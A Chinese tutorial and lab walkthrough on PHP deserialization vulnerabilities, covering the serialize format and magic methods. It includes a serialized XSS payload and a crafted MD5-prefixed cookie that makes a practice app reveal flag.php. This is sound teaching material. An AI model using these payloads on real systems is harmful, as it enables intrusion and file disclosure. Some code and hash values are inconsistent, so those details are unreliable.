序列化和反序列化
-
序列化:将对象的状态信息转换为可以存储或传输的形式的过程。
把一个对象变成可以传输的字符串(类似游戏存档)。
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
-
反序列化:将存储的东西转换为状态信息。
把被序列化的字符串还原为对象(类似游戏读档)。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); echo $u->test; //得到的结果为pikachu
参考:http://pikachu.langsasec.cn/vul/unserilization/unserilization.php
反序列化漏洞
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数(魔术方法),就会导致安全问题
几个函数
1.__FILE__ 获取当前文件路径
2.show_source() 显示文件源码
3.print_r() 输出
几个魔术方法
魔术方法:满足条件自动触发
-
__construct()当一个对象创建时被调用
-
__destruct()当一个对象销毁时被调用
-
__toString()当一个对象被当作一个字符串使用
-
__sleep() 在对象在被序列化之前运行
-
__wakeup将在序列化之后立即被调用
漏洞案例
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
参考:http://pikachu.langsasec.cn/vul/unserilization/unserilization.php
扩展:phar://(php支持的协议) :运用该协议读取文件可以自动反序列化
靶场
1.flag在flag.php中,所以我们需要通过反序列化来将它显示出来
2.下面是源代码及其注释
<?php
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true); //$this->source:调用$source的值
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__;
echo $s;
exit;
}
//$todos = [];是个数组
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32); //$h是$c前32位字符串
$m = substr($c, 32); //$m是$c32位后的字符串
if(md5($m) === $h){
$todos = unserialize($m); //反序列化函数在这里
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?> //将数组变成字符串,
<li><?=$todo?></li> //<?=$todo?>//是<?php echo $todo?>//缩写,输出点,
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
3.通过$todo输出$a->source='flag.php';来触发$this->source从而显示flag.php
4.构造需要触发的$todos,那么$m=a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k1FctLWQ-1668436711768)(https://s2.loli.net/2022/01/18/7CiPvEtlVX915Gr.png)]
5.从代码可知我们需要使得cookie满足一定的条件
条件:
$c=$h.$m
md5($m) === $h,则$h=e10adc3949ba59abbe56e057f20f883e
所以最终条件是将cookie设置todos为如下
e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
6.将上述字符串url编码后填入cookie得到flag